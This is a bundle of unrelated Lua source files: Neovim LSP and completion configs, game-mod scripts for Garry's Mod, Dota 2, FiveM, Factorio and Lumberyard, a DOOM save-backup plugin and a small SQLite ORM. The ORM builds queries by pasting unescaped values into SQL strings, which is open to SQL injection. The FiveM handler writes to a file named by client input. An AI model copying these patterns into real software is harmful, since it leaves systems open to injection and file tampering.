buf_set_keymap('n', 'gd', '<cmd>lua vim.lsp.buf.definition()<CR>', opts)
buf_set_keymap('n', 'gr', '<cmd>lua vim.lsp.buf.references()<CR>', opts)
buf_set_keymap('n', 'gi', '<cmd>lua vim.lsp.buf.implementation()<CR>', opts)
end
buf_set_keymap('n', 'K', '<Cmd>lua vim.lsp.buf.hover()<CR>', opts)
--buf_set_keymap('n', '<C-k>', '<cmd>lua vim.lsp.buf.signature_help()<CR>', opts)
buf_set_keymap('n', '[d', '<cmd>lua vim.lsp.diagnostic.goto_prev()<CR>', opts)
buf_set_keymap('n', ']d', '<cmd>lua vim.lsp.diagnostic.goto_next()<CR>', opts)
--buf_set_keymap('n', '<space>wa', '<cmd>lua vim.lsp.buf.add_workspace_folder()<CR>', opts)
--buf_set_keymap('n', '<space>wr', '<cmd>lua vim.lsp.buf.remove_workspace_folder()<CR>', opts)
--buf_set_keymap('n', '<space>wl', '<cmd>lua print(vim.inspect(vim.lsp.buf.list_workspace_folders()))<CR>', opts)
--buf_set_keymap('n', '<space>D', '<cmd>lua vim.lsp.buf.type_definition()<CR>', opts)
--buf_set_keymap('n', '<space>rn', '<cmd>lua vim.lsp.buf.rename()<CR>', opts)
--buf_set_keymap('n', '<space>ca', '<cmd>lua vim.lsp.buf.code_action()<CR>', opts)
--buf_set_keymap('n', '<space>e', '<cmd>lua vim.lsp.diagnostic.show_line_diagnostics()<CR>', opts)
--buf_set_keymap('n', '<space>q', '<cmd>lua vim.lsp.diagnostic.set_loclist()<CR>', opts)
--buf_set_keymap("n", "<space>f", "<cmd>lua vim.lsp.buf.formatting()<CR>", opts)
end
-- Add global keymappings for LSP actions
-- F3, F12: goto definition
vim.cmd [[
map <F12> gd
imap <F12> <ESC>gd
map <F3> <F12>
imap <F3> <F12>
]]
-- Shift+F12: show usages/references
vim.cmd [[
map <F24> gr
imap <F24> <ESC>gr
]]
-- Register and activate LSP servers (managed by nvim-lsp-installer)
local builtin_lsp_servers = {
-- List name of LSP servers that will be automatically installed and managed by :LspInstall.
-- LSP servers will be installed locally at: ~/.local/share/nvim/lsp_servers
-- @see(lspinstall): https://github.com/williamboman/nvim-lsp-installer
'pyright',
'vimls',
'tsserver',
}
-- Optional and additional LSP setup options other than (common) on_attach, capabilities, etc.
-- @see(config): https://github.com/neovim/nvim-lspconfig/blob/master/CONFIG.md
local lsp_setup_opts = {}
lsp_setup_opts['pyright'] = {
settings = {
python = {
},
},
}
lsp_setup_opts['sumneko_lua'] = vim.tbl_extend('force',
require("lua-dev").setup {}, {
settings = {
Lua = {
completion = { callSnippet = "Disable" },
workspace = { maxPreload = 2000 },
},
},
}
)
local lsp_installer = require("nvim-lsp-installer")
lsp_installer.on_server_ready(function(server)
local opts = {
on_attach = on_attach,
-- Suggested configuration by nvim-cmp
capabilities = require('cmp_nvim_lsp').update_capabilities(
vim.lsp.protocol.make_client_capabilities()
),
}
-- Customize the options passed to the server
opts = vim.tbl_extend("error", opts, lsp_setup_opts[server.name] or {})
-- This setup() function is exactly the same as lspconfig's setup function (:help lspconfig-quickstart)
server:setup(opts)
vim.cmd [[ do User LspAttachBuffers ]]
end)
-- Automatically install if a required LSP server is missing.
for _, lsp_name in ipairs(builtin_lsp_servers) do
local ok, lsp = require('nvim-lsp-installer.servers').get_server(lsp_name)
---@diagnostic disable-next-line: undefined-field
if ok and not lsp:is_installed() then
vim.defer_fn(function()
-- lsp:install() -- headless
lsp_installer.install(lsp_name) -- with UI (so that users can be notified)
end, 0)
end
end
-------------------------
-- LSP Handlers (general)
-------------------------
-- :help lsp-method
-- :help lsp-handler
local lsp_handlers_hover = vim.lsp.with(vim.lsp.handlers.hover, {
border = 'single'
})
vim.lsp.handlers["textDocument/hover"] = function(err, result, ctx, config)
local bufnr, winnr = lsp_handlers_hover(err, result, ctx, config)
if winnr ~= nil then
vim.api.nvim_win_set_option(winnr, "winblend", 20) -- opacity for hover
end
return bufnr, winnr
end
------------------
-- LSP diagnostics
------------------
-- https://github.com/neovim/nvim-lspconfig/wiki/UI-customization
-- Customize how to show diagnostics:
-- No virtual text (distracting!), show popup window on hover.
if vim.fn.has('nvim-0.6.0') > 0 then
-- @see https://github.com/neovim/neovim/pull/16057 for new APIs
vim.diagnostic.config({
virtual_text = false,
float = {
source = 'always',
focusable = false, -- See neovim#16425
border = 'single',
},
})
_G.LspDiagnosticsShowPopup = function()
return vim.diagnostic.open_float(0, {scope="cursor"})
end
else -- neovim 0.5.0
-- @see :help lsp-handler-configuration
vim.lsp.handlers["textDocument/publishDiagnostics"] = vim.lsp.with(
vim.lsp.diagnostic.on_publish_diagnostics, {
virtual_text = false, -- disable virtual text
signs = true, -- show signs
update_in_insert = false, -- delay update diagnostics
-- display_diagnostic_autocmds = { "InsertLeave" },
}
)
_G.LspDiagnosticsShowPopup = function()
---@diagnostic disable-next-line: deprecated
return vim.lsp.diagnostic.show_line_diagnostics({
focusable = false,
border = 'single',
})
end
end
-- Show diagnostics in a pop-up window on hover
_G.LspDiagnosticsPopupHandler = function()
local current_cursor = vim.api.nvim_win_get_cursor(0)
local last_popup_cursor = vim.w.lsp_diagnostics_last_cursor or {nil, nil}
-- Show the popup diagnostics window,
-- but only once for the current cursor location (unless moved afterwards).
if not (current_cursor[1] == last_popup_cursor[1] and current_cursor[2] == last_popup_cursor[2]) then
vim.w.lsp_diagnostics_last_cursor = current_cursor
local _, winnr = _G.LspDiagnosticsShowPopup()
if winnr ~= nil then
vim.api.nvim_win_set_option(winnr, "winblend", 20) -- opacity for diagnostics
end
end
end
vim.cmd [[
augroup LSPDiagnosticsOnHover
autocmd!
autocmd CursorHold * lua _G.LspDiagnosticsPopupHandler()
augroup END
]]
-- Redefine signs (:help diagnostic-signs)
-- neovim <= 0.5.1
vim.fn.sign_define("LspDiagnosticsSignError", {text = "✘", texthl = "DiagnosticSignError"})
vim.fn.sign_define("LspDiagnosticsSignWarning", {text = "", texthl = "DiagnosticSignWarn"})
vim.fn.sign_define("LspDiagnosticsSignInformation", {text = "i", texthl = "DiagnosticSignInfo"})
vim.fn.sign_define("LspDiagnosticsSignHint", {text = "", texthl = "DiagnosticSignHint"})
-- neovim >= 0.6.0
vim.fn.sign_define("DiagnosticSignError", {text = "✘", texthl = "DiagnosticSignError"})
vim.fn.sign_define("DiagnosticSignWarn", {text = "", texthl = "DiagnosticSignWarn"})
vim.fn.sign_define("DiagnosticSignInfo", {text = "i", texthl = "DiagnosticSignInfo"})
vim.fn.sign_define("DiagnosticSignHint", {text = "", texthl = "DiagnosticSignHint"})
vim.cmd [[
hi DiagnosticSignError guifg=#e6645f ctermfg=167
hi DiagnosticSignWarn guifg=#b1b14d ctermfg=143
hi DiagnosticSignHint guifg=#3e6e9e ctermfg=75
]]
---------------------------------
-- nvim-cmp: completion support
---------------------------------
-- https://github.com/hrsh7th/nvim-cmp#recommended-configuration
-- ~/.vim/plugged/nvim-cmp/lua/cmp/config/default.lua
vim.o.completeopt = "menu,menuone,noselect"
local has_words_before = function()
if vim.api.nvim_buf_get_option(0, 'buftype') == 'prompt' then
return false
end
local line, col = unpack(vim.api.nvim_win_get_cursor(0))
return col ~= 0 and vim.api.nvim_buf_get_lines(0, line-1, line, true)[1]:sub(col, col):match('%s') == nil
end
local cmp = require('cmp')
cmp.setup {
snippet = {
expand = function(args)
vim.fn["UltiSnips#Anon"](args.body)
end,
},
documentation = {
border = {'╭', '─', '╮', '│', '╯', '─', '╰', '│'} -- in a clockwise order
},
mapping = {
['<C-b>'] = cmp.mapping.scroll_docs(-4),
['<C-f>'] = cmp.mapping.scroll_docs(4),
['<C-Space>'] = cmp.mapping.complete(),
['<C-e>'] = cmp.mapping.close(),
['<CR>'] = cmp.mapping.confirm({ select = false }),
['<Tab>'] = function(fallback) -- see GH-231, GH-286
if cmp.visible() then cmp.select_next_item()
elseif has_words_before() then cmp.complete()
else fallback() end
end,
['<S-Tab>'] = function(fallback)
if cmp.visible() then cmp.select_prev_item()
else fallback() end
end,
},
formatting = {
format = function(entry, vim_item)
-- fancy icons and a name of kind
vim_item.kind = " " .. require("lspkind").presets.default[vim_item.kind] .. " " .. vim_item.kind
-- set a name for each source (see the sources section below)
vim_item.menu = ({
buffer = "[Buffer]",
nvim_lsp = "[LSP]",
luasnip = "[LuaSnip]",
ultisnips = "[UltiSnips]",
nvim_lua = "[Lua]",
latex_symbols = "[Latex]",
})[entry.source.name]
return vim_item
end,
},
sources = {
-- Note: make sure you have proper plugins specified in plugins.vim
-- https://github.com/topics/nvim-cmp
{ name = 'nvim_lsp', priority = 100 },
{ name = 'ultisnips', keyword_length = 2, priority = 50 }, -- workaround '.' trigger
{ name = 'path', priority = 30, },
{ name = 'buffer', priority = 10 },
},
sorting = {
comparators = {
cmp.config.compare.offset,
cmp.config.compare.exact,
cmp.config.compare.score,
require("cmp-under-comparator").under,
cmp.config.compare.kind,
cmp.config.compare.sort_text,
cmp.config.compare.length,
cmp.config.compare.order,
},
},
}
-- Highlights for nvim-cmp's custom popup menu (GH-224)
vim.cmd [[
" To be compatible with Pmenu (#fff3bf)
hi CmpItemAbbr guifg=#111111
hi CmpItemAbbrMatch guifg=#f03e3e gui=bold
hi CmpItemAbbrMatchFuzzy guifg=#fd7e14 gui=bold
hi CmpItemAbbrDeprecated guifg=#adb5bd
hi CmpItemKindDefault guifg=#cc5de8
hi! def link CmpItemKind CmpItemKindDefault
hi CmpItemMenu guifg=#cfa050
]]
-----------------------------
-- Configs for PeekDefinition
-----------------------------
function PeekDefinition()
local params = vim.lsp.util.make_position_params()
local definition_callback = function (_, result)
if result == nil or vim.tbl_isempty(result) then
print("PeekDefinition: " .. "cannot find the definition.")
return nil
end
--- either Location | LocationLink
--- https://microsoft.github.io/language-server-protocol/specification#location
local def_result = result[1]
-- Peek defintion. Currently, use quickui but a better alternative should be found.
-- vim.lsp.util.preview_location(result[1])
local def_uri = def_result.uri or def_result.targetUri
local def_range = def_result.range or def_result.targetSelectionRange
vim.fn['quickui#preview#open'](vim.uri_to_fname(def_uri), {
cursor = def_range.start.line,
number = 1, -- show line number
persist = 0,
})
end
-- Asynchronous request doesn't work very smoothly, so we use synchronous one with timeout;
-- return vim.lsp.buf_request(0, 'textDocument/definition', params, definition_callback)
local results, err = vim.lsp.buf_request_sync(0, 'textDocument/definition', params, 1000)
if results then
for client_id, result in pairs(results) do
definition_callback(client_id, result.result)
end
else
print("PeekDefinition: " .. err)
end
end
vim.cmd [[
command! -nargs=0 PeekDefinition :lua PeekDefinition()
command! -nargs=0 PreviewDefinition :PeekDefinition
nmap <leader>K :<C-U>PeekDefinition<CR>
nmap <silent> gp :<C-U>PeekDefinition<CR>
]]
------------
-- LSPstatus
------------
local lsp_status = require('lsp-status')
lsp_status.config({
-- Avoid using use emoji-like or full-width characters
-- because it can often break rendering within tmux and some terminals
-- See ~/.vim/plugged/lsp-status.nvim/lua/lsp-status.lua
indicator_hint = '!',
status_symbol = ' ',
-- Automatically sets b:lsp_current_function
current_function = true,
})
lsp_status.register_progress()
-- LspStatus(): status string for airline
_G.LspStatus = function()
if #vim.lsp.buf_get_clients() > 0 then
return lsp_status.status()
end
return ''
end
-- :LspStatus (command): display lsp status
vim.cmd [[
command! -nargs=0 LspStatus echom v:lua.LspStatus()
]]
-- Other LSP commands
vim.cmd [[
command! -nargs=0 LspDebug :tab drop $HOME/.cache/nvim/lsp.log
]]
---------------
-- trouble.nvim
---------------
require("trouble").setup {
-- https://github.com/folke/trouble.nvim#setup
mode = "document_diagnostics",
auto_preview = false,
}
|
-- Copyright 2021 - Deviap (deviap.com)
-- Author(s): Sanjay-B(Sanjay)
-- Creates an text component.
local newBaseComponent = require("devgit:source/libraries/UI/components/baseComponent.lua")
return function(props)
--[[
@description
Creates a base component
@parameter
table, props
@returns
table, component
]]
local self = newBaseComponent(props)
self.container.backgroundAlpha = 0
local contentLabel = core.construct("guiTextBox", {
parent = self.container,
active = false,
backgroundAlpha = 0,
textColour = colour.hex("#FF7043"),
size = props.size,
position = guiCoord(0, 0, 0, 0),
textFont = "deviap:fonts/openSansBold.ttf",
textAlign = "topMiddle",
textSize = 18,
})
self.render = function()
--[[
@description
Renders the component
@parameter
nil
@returns
nil
]]
contentLabel.text = props.text
end
self.render()
return self
end
|
return {'waoer','wao','waoers'}
|
local NPC = {};
NPC.Name = "Bartender";
NPC.ID = 23;
NPC.Model = Model("models/humans/suits2/male_04.mdl");
NPC.Invisible = false; // Used for ATM Machines, Casino Tables, etc.
NPC.Location = Vector(-7189.0312, -14183.5, 72.0313);
NPC.Angles = Angle(0,0,0);
NPC.ShowChatBubble = "Normal";
NPC.Sequence = 228;
// This is always local player.
function NPC.OnTalk ( )
if (LocalPlayer():Team() == TEAM_CITIZEN) then
GAMEMODE.DialogPanel:SetDialog("What can I get for you maybe a shot or a beer?");
GAMEMODE.DialogPanel:AddDialog("I'll have beer please.", LEAVE_DIALOG)
GAMEMODE.DialogPanel:AddDialog('How about a shot?', LEAVE_DIALOG)
GAMEMODE.DialogPanel:AddDialog("No thanks I'm just looking around.", LEAVE_DIALOG)
else
GAMEMODE.DialogPanel:SetDialog("Uhhh... I don't server government officials on duty.\n\n(You must be a citizen to use this feature.)");
GAMEMODE.DialogPanel:AddDialog("Oh shi-...*Sneak away awkwardly*", LEAVE_DIALOG)
end
GAMEMODE.DialogPanel:Show();
end
/*local function MakeEffects ( )
LocalPlayer():TakeCash(50);
GAMEMODE.DialogPanel:AddDialog("*Doawns the shot and feels it taking effect*", LEAVE_DIALOG)
end
GAMEMODE:LoadNPC(NPC); */
|
return {
summary = 'Get a new Curve from a slice of an existing one.',
description = [[
Returns a new Curve created by slicing the Curve at the specified start and end points.
]],
arguments = {
{
name = 't1',
type = 'number',
description = 'The starting point to slice at.'
},
{
name = 't2',
type = 'number',
description = 'The ending point to slice at.'
}
},
returns = {
{
name = 'curve',
type = 'Curve',
description = 'A new Curve.'
}
},
notes = [[
The new Curve will have the same number of control points as the existing curve.
An error will be thrown if t1 or t2 are not between 0 and 1, or if the Curve has less than two
points.
]],
related = {
'Curve:evaluate',
'Curve:render'
}
}
|
--[[Author: Pizzalol
Date: 1.1.2015.
Applies flesh heap modifiers according to the kills and assists before the ability was leveled up]]
function FleshHeap( keys )
local caster = keys.caster
local ability = keys.ability
local fleshHeapModifier = "modifier_flesh_heap_bonus_datadriven"
local fleshHeapStackModifier = "modifier_flesh_heap_aura_datadriven"
local assists = caster:GetAssists()
local kills = caster:GetKills()
for i = 1, (assists + kills) do
ability:ApplyDataDrivenModifier(caster, caster, fleshHeapModifier, {})
print("Current number: " .. i)
end
caster:SetModifierStackCount(fleshHeapStackModifier, ability, (assists + kills))
end
--[[Author: Pizzalol
Date. 1.1.2015.
Increases the stack count of Flesh Heap.]]
function StackCountIncrease( keys )
local caster = keys.caster
local ability = keys.ability
local fleshHeapStackModifier = "modifier_flesh_heap_aura_datadriven"
local currentStacks = caster:GetModifierStackCount(fleshHeapStackModifier, ability)
caster:SetModifierStackCount(fleshHeapStackModifier, ability, (currentStacks + 1))
end
--[[Author: Pizzalol
Date: 1.1.2015.
Adjusts the strength provided by the modifiers on ability upgrade]]
function FleshHeapAdjust( keys )
local caster = keys.caster
local ability = keys.ability
local fleshHeapModifier = "modifier_flesh_heap_bonus_datadriven"
local fleshHeapStackModifier = "modifier_flesh_heap_aura_datadriven"
local currentStacks = caster:GetModifierStackCount(fleshHeapStackModifier, ability)
-- Remove the old modifiers
for i = 1, currentStacks do
caster:RemoveModifierByName(fleshHeapModifier)
end
-- Add the same amount of new ones
for i = 1, currentStacks do
ability:ApplyDataDrivenModifier(caster, caster, fleshHeapModifier, {})
end
end
|
-- ===========================================================================
-- Base File
-- ===========================================================================
include("PartialScreenHooks_Expansion2");
include("partialscreenhooks_CQUI.lua");
|
local playsession = {
{"Kiwicake", {14042}},
{"neuro666", {675139}},
{"GuidoCram", {52302}},
{"kalenmonster", {280703}},
{"rbirk", {650975}},
{"gamechanger", {354430}},
{"qwerin", {649178}},
{"Xspex", {220393}},
{"__init__", {606616}},
{"tykak", {588343}},
{"Weizenbrot", {1473}},
{"ManuelG", {25739}},
{"Pucio", {574462}},
{"Michaelmcking", {2935}},
{"blubFisch", {10423}},
{"Grooohm", {2958}},
{"Decu", {195321}},
{"andrekoul", {92351}},
{"itishappy", {4730}},
{"TheKoopa", {457226}},
{"Tribbiani", {111478}},
{"Collider", {4696}},
{"Knugn", {134824}},
{"PurpleLuk", {375285}},
{"Sneakypoop", {373738}},
{"Bionico", {391229}},
{"yulingqixiao", {390272}},
{"Terry1996", {76785}},
{"CptPonk", {356898}},
{"Iccy.Fox", {350654}},
{"kuumottaja", {331454}},
{"Trifon54", {3236}},
{"Tux0n0", {6282}},
{"Nehkko", {1004}},
{"beranabus", {264392}},
{"Ruslan_kc", {25609}},
{"evileddy60", {257210}},
{"Foldi", {63206}},
{"CawaEast", {203129}},
{"bigjoemonger", {186644}},
{"nikithase", {161268}},
{"araran", {7217}},
{"die_ott", {171939}},
{"fabilord98", {164696}},
{"OECEMESO", {159995}},
{"Preizhour", {2202}},
{"ReBootYourMind", {155184}},
{"srbrian", {130460}},
{"Freakneek", {4914}},
{"okan009", {112590}},
{"Agocelt", {111663}},
{"Sir_Metaladon", {2063}},
{"redlabel", {8535}},
{"thisisjack", {62821}},
{"lluceu", {8745}},
{"mewmew", {61857}},
{"jackazzm", {54161}},
{"RoiBezo", {4914}},
{"tickterd", {6036}},
{"Arusu", {20042}},
{"StarLite", {1829}},
{"Nick_Nitro", {10656}},
{"pwoland", {192}}
}
return playsession
|
local engine, ns = ...
Logger.Information("Engine.Name=",engine.Name,", Engine.Title=",engine.Title)
-- Setup engine
engine:AddProcessName("DOOMx64")
engine:AddProcessName("DOOMx64vk")
-- Setup settings
local setting = EngineSettingFolderBrowser()
setting.CanAutoDetect = true
setting.Name = "SourceFolder"
setting.Caption = "Saved Game Folder"
setting.Description = "Select the root folder where the game save files are located"
setting.HelpTooltip = "This must be the folder containing the GAME-AUTOSAVEX folders"
setting.Kind = EngineSettingKind.Setup
setting.OnAutoDetect = function()
local s = '%USERPROFILE%\\Saved Games\\id Software\\DOOM\\base\\savegame.user'
local path = Environment.ExpandEnvironmentVariables(s)
Logger.Debug(path)
if (not Directory.Exists(path)) then
return ""
end
local directoryInfo = DirectoryInfo(path)
if directoryInfo then
Logger.Debug("directoryInfo is ok")
end
local dirs = directoryInfo:GetDirectories()
for i = 0, dirs.Length-1 do
directory = dirs[i]
if (string.match(directory.Name, "^([%d]+)$")) then
directoryInfo = nil
local fullname = directory.FullName
directory = nil
return fullname
end
directory = nil
end
directoryInfo = nil
return ""
end
engine:AddSetting(setting)
local settingSlot = EngineSettingCombobox()
settingSlot.Name = "SlotIndex"
settingSlot.Caption = "Slot"
settingSlot.Description = "Select which slot to backup"
settingSlot.HelpTooltip = ""
settingSlot.Kind = EngineSettingKind.Setup
settingSlot.Values:Add(1, "Slot 1")
settingSlot.Values:Add(2, "Slot 2")
settingSlot.Values:Add(3, "Slot 3")
settingSlot.Value = 1
engine:AddSetting(settingSlot)
engine.OnSetupValidate = function()
local r = true
for i = 0, engine.Settings.Count-1 do
local s = engine.Settings[i]
if s.Kind == EngineSettingKind.Setup then
if s.Name == "SourceFolder" then
if s.Value == "" or (not Directory.Exists(s.Value)) then
r = false
end
end
if s.Name == "SlotIndex" then
if s.Value <= 0 then
r = false
end
end
end
end
return r
end
engine.OnSetupSuggestProfileName = function()
if settingSlot.Value == 1 then
return "DOOM 2016 - Slot 1"
end
if settingSlot.Value == 2 then
return "DOOM 2016 - Slot 2"
end
if settingSlot.Value == 3 then
return "DOOM 2016 - Slot 3"
end
return "DOOM 2016"
end
-- Runtime settings
setting = EngineSettingCheckbox()
setting.Name = "IncludeDeath"
setting.Caption = "AutoBackup: Include death"
setting.Description = ""
setting.HelpTooltip = "Also do a backup on death checkpoint"
setting.Kind = EngineSettingKind.Runtime
setting.Value = false
engine:AddSetting(setting)
setting = EngineSettingCheckbox()
setting.Name = "Screenshot"
setting.Caption = "AutoBackup: Screenshot"
setting.Description = ""
setting.HelpTooltip = "Work only if the game is set to OpenGL or Windowed mode"
setting.Kind = EngineSettingKind.Runtime
setting.Value = false
engine:AddSetting(setting)
-- Snapshot list definition
--[[
Predefine columns are:
- DateTime Saved At
- string Notes
--]]
local columnDiff = EngineSnapshotColumnDefinition()
columnDiff.Key = "Difficulty"
columnDiff.HeaderText = "Difficulty"
engine:AddSnapshotColumnDefinition(columnDiff)
local columnPlayed = EngineSnapshotColumnDefinition()
columnPlayed.Key = "PlayedTime"
columnPlayed.HeaderText = "Played Time"
engine:AddSnapshotColumnDefinition(columnPlayed)
local columnDeath = EngineSnapshotColumnDefinition()
columnDeath.Key = "Death"
columnDeath.HeaderText = "🕱"
engine:AddSnapshotColumnDefinition(columnDeath)
|
-- https://github.com/akinsho/bufferline.nvim
require('bufferline').setup {
options = {
diagnostics = "nvim_lsp",
diagnostics_update_in_insert = false,
diagnostics_indicator = function(count, level, diagnostics_dict, context)
local s = " "
for e, n in pairs(diagnostics_dict) do
local sym = e == "error" and " " or (e == "warning" and " " or "")
s = s .. n .. sym
end
return s
end,
show_buffer_close_icons = false,
show_close_icon = false,
name_formatter = function(buf) -- buf contains a "name", "path" and "bufnr"
-- remove extension from markdown files for example
if buf.name:match('%.md') then return vim.fn.fnamemodify(buf.name, ':t:r') end
end,
}
}
|
RegisterServerEvent("SaveCoords")
AddEventHandler("SaveCoords", function(name, x, y, z, h, text)
local src = source
file = io.open(name .. "-Coords.txt", "a")
if file then
file:write("vector4(" .. x .. ", " .. y .. ", " .. z .. ", " .. h .. "),\n")
end
file:close()
TriggerClientEvent("DoLongHudText", src, "Position saved")
end)
RegisterServerEvent("SaveCoordsOffset")
AddEventHandler("SaveCoordsOffset", function(name, x, y, z, h, text)
local src = source
file = io.open(name .. "-CoordsOffset.txt", "a")
if file then
file:write("vector4(" .. x .. ", " .. y .. ", " .. z .. ", " .. h .. "),\n")
end
file:close()
TriggerClientEvent("DoLongHudText", src, "Position saved")
end)
|
----------------------------------------------------------------------------------------------------
--
-- All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
-- its licensors.
--
-- For complete copyright and license terms please see the LICENSE at the root of this
-- distribution (the "License"). All use of this software is governed by the License,
-- or, if provided, by the license below or the license accompanying this file. Do not
-- remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
--
--
----------------------------------------------------------------------------------------------------
local ChickenSpawnAndAnimate =
{
Properties =
{
},
EventCallbacks =
{
UpArrow = {},
DownArrow = {},
LeftArrow = {},
RightArrow = {},
},
Handlers =
{
},
}
function ChickenSpawnAndAnimate:OnActivate()
-- Set up bus listeners to listen to notifications from Components
-- Set up animation notifications listener
self.animNotificationsBusHandler = SimpleAnimationComponentNotificationBus.Connect(self,self.entityId)
-- Set up tick bus listener
self.tickBusHandler = TickBus.Connect(self, 0)
-- Flag to make sure animation only plays once
self.OnAnimPlayed = false
-- Set up a random delay to desync spawns
self.chickeningDelay = math.random()
self.chickeningCounter = 0
self.Handlers.Up = FloatActionNotificationBus.Connect(self.EventCallbacks.UpArrow, ActionNotificationId(0, "UpPressed"))
self.Handlers.Down= FloatActionNotificationBus.Connect(self.EventCallbacks.DownArrow, ActionNotificationId(0, "DownPressed"))
self.Handlers.Left = FloatActionNotificationBus.Connect(self.EventCallbacks.LeftArrow, ActionNotificationId(0, "LeftPressed"))
self.Handlers.Right= FloatActionNotificationBus.Connect(self.EventCallbacks.RightArrow, ActionNotificationId(0, "RightPressed"))
end
function ChickenSpawnAndAnimate.EventCallbacks.UpArrow:OnEventAction(floatValue)
end
function ChickenSpawnAndAnimate.EventCallbacks.DownArrow:OnEventAction(floatValue)
end
function ChickenSpawnAndAnimate.EventCallbacks.LeftArrow:OnEventAction(floatValue)
end
function ChickenSpawnAndAnimate.EventCallbacks.RightArrow:OnEventAction(floatValue)
end
function ChickenSpawnAndAnimate.EventCallbacks.UpArrow:OnEventFailed()
end
function ChickenSpawnAndAnimate.EventCallbacks.DownArrow:OnEventFailed()
end
function ChickenSpawnAndAnimate.EventCallbacks.LeftArrow:OnEventFailed()
end
function ChickenSpawnAndAnimate.EventCallbacks.RightArrow:OnEventFailed()
end
function ChickenSpawnAndAnimate:OnTick(deltaTime, timePoint)
self.chickeningCounter = self.chickeningCounter + deltaTime
if(self.chickeningCounter >= self.chickeningDelay) then
-- Check the flag
if (self.OnAnimPlayed == false) then
self.OnAnimPlayed = true
-- Set up an animated layer to be played
self.layer = AnimatedLayer("anim_chicken_flapping",0,false,1.0,0.15)
-- Send a request to the Animation Component
SimpleAnimationComponentRequestBus.Event.StartAnimation(self.entityId, self.layer)
end
self.chickeningDelay = math.random(7,12)
self.chickeningCounter = 0
-- Send a request to the Audio component
AudioTriggerComponentRequestBus.Event.ExecuteTrigger(self.entityId, "Play_Chicken_Squack")
end
end
function ChickenSpawnAndAnimate:OnAnimationStopped(layer)
-- When the flap animation ends, start the idle animation
self.layer = AnimatedLayer("anim_chicken_idle",0,true,1.0,0.15)
SimpleAnimationComponentRequestBus.Event.StartAnimation(self.entityId, self.layer)
end
function ChickenSpawnAndAnimate:OnDeactivate()
self.tickBusHandler:Disconnect()
self.animNotificationsBusHandler:Disconnect()
self.Handlers.Up:Disconnect()
self.Handlers.Down:Disconnect()
self.Handlers.Left:Disconnect()
self.Handlers.Right:Disconnect()
end
return ChickenSpawnAndAnimate
|
--------------------------------------------------------------------------------
local _ = require "lib.underscore"
local class = require "lib.middleclass"
--------------------------------------------------------------------------------
local Model = class("Model")
function Model:initialize(db, tableName, attributes)
self.db = db
self.tableName = tableName
self.attributes = attributes
local tableSetup = "CREATE TABLE " .. tableName
tableSetup = tableSetup .. " (id INTEGER PRIMARY KEY"
_.each(attributes, function(a)
if (a ~= "id") then
tableSetup = tableSetup .. ", " .. a
end
end)
tableSetup = tableSetup .. ");"
db:exec(tableSetup)
end
local function tableToString(conditions, delimiter)
local conds = {}
conditions = conditions or {}
for k,v in pairs(conditions) do
if k == "SQL" then
conds[#conds + 1] = "(" .. v .. ")"
else
conds[#conds + 1] = k .. " = \"" .. tostring(v) .. "\""
end
end
return _.join(conds, delimiter)
end
local function conditionsToSQL(conditions, exclude_conditions)
local conds = tableToString(conditions, " AND ")
local ex_conds = tableToString(exclude_conditions, " AND ")
result = ""
if string.len(conds) > 0 or string.len(ex_conds) > 0 then
result = result .. " WHERE " .. conds
if string.len(ex_conds) > 0 then
if string.len(conds) > 0 then
result = result .. " AND "
end
result = result .. " NOT (" .. ex_conds .. ")"
end
end
return result
end
local function updateToSQL(attributes)
attributes.id = nil
return tableToString(attributes, ", ")
end
function Model:ordering()
if self.orderBy then
return " ORDER BY " .. self.orderBy .. " "
else
return ""
end
end
function Model:aggregate(fun, conditions, exclude_conditions, attribute)
local aggregation_functions = {avg = true, sum = true, count = true, min = true, max = true}
attribute = attribute or "*"
conditions = conditions or {}
if aggregation_functions[fun] then
local query = "SELECT " .. fun .. "(" .. attribute .. ") as r FROM " .. self.tableName .. conditionsToSQL(conditions, exclude_conditions)
for row in self.db:nrows(query) do
if row and row.r then
return tonumber(row.r)
end
end
end
return 0
end
function Model:count(conditions, exclude_conditions)
return self:aggregate("count", conditions, exclude_conditions)
end
function Model:sum(attribute, conditions, exclude_conditions)
return self:aggregate("count", conditions, exclude_conditions, attribute)
end
function Model:avg(attribute, conditions, exclude_conditions)
return self:aggregate("avg", conditions, exclude_conditions, attribute)
end
function Model:min(attribute, conditions, exclude_conditions)
return self:aggregate("min", conditions, exclude_conditions, attribute)
end
function Model:max(attribute, conditions, exclude_conditions)
return self:aggregate("max", conditions, exclude_conditions, attribute)
end
function Model:all(rowCallback, conditions, exclude_conditions)
for row in self.db:nrows("SELECT * FROM " .. self.tableName .. conditionsToSQL(conditions, exclude_conditions) .. self:ordering()) do
rowCallback(row)
end
end
function Model:allArray(conditions, exclude_conditions)
local result = {}
self:all(function(r) result[#result + 1] = r end, conditions, exclude_conditions)
return result
end
function Model:where(conditions, rowCallback)
local query = "SELECT * FROM " .. self.tableName .. conditionsToSQL(conditions, exclude_conditions) .. self:ordering()
for row in self.db:nrows(query) do
rowCallback(row)
end
end
function Model:get(id)
for row in self.db:nrows("SELECT * FROM " .. self.tableName .. " WHERE id = " .. id) do
return row
end
end
function Model:find(conditions, exclude_conditions)
for row in self.db:nrows("SELECT * FROM " .. self.tableName .. conditionsToSQL(conditions, exclude_conditions)) do
return row
end
return nil
end
function Model:join(joinSQL, conditions, rowCallback)
local query = "SELECT * FROM " .. self.tableName .. " JOIN " .. joinSQL .. " " .. conditionsToSQL(conditions, {}) .. self:ordering()
print("JOIN QUERY: " .. query)
for row in self.db:nrows(query) do
rowCallback(row)
end
end
function Model:first(conditions)
return self:find(conditions)
end
function Model:insert(attributes)
local values = {}
local columnNames = {}
_.each(self.attributes, function(a)
if attributes[a] then
values[#values + 1] = "\"" .. attributes[a] .. "\""
columnNames[#columnNames + 1] = a
end
end)
local query = "INSERT INTO " .. self.tableName .. "(" .. _.join(columnNames, ",") .. ") VALUES ( " .. _.join(values, ", ") .. ")"
self.db:exec(query)
local record_id = self.db:last_insert_rowid()
if type(self.afterInsert) == "function" then
self.afterInsert(record_id)
end
return record_id
end
function Model:create(attrs)
return self:insert(attrs)
end
function Model:update(id, attributes)
local existing_attributes = {}
_.each(self.attributes, function(a)
if attributes[a] then
existing_attributes[a] = attributes[a]
end
end)
local query = "UPDATE " .. self.tableName .. " SET " .. updateToSQL(existing_attributes) .. " WHERE id = \"" .. id .. "\""
print("[DB] " .. query)
self.db:exec(query)
end
